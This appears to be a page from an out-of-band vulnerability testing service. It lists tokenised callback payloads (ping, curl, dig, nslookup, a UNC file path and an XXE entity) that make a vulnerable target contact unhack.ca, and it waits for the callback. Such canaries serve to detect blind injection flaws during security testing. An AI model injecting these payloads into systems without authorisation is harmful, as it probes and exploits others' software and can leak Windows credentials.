$ ping -c1 -p 00a8dd48dfbd526a4aedba2d9d6f0200 unhack.ca
$ curl http://unhack.ca/p/a8dd48dfbd526a4aedba2d9d6f02
$ dig a8dd48dfbd526a4aedba2d9d6f02 @unhack.ca
$ dig a8dd48dfbd526a4aedba2d9d6f02.ns.unhack.ca
C:\> nslookup a8dd48dfbd526a4aedba2d9d6f02 unhack.ca
C:\> type \\unhack.ca\a8dd48dfbd526a4aedba2d9d6f02\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/a8dd48dfbd526a4aedba2d9d6f02">]>
<foo>&xxe;</foo>
Waiting for ping...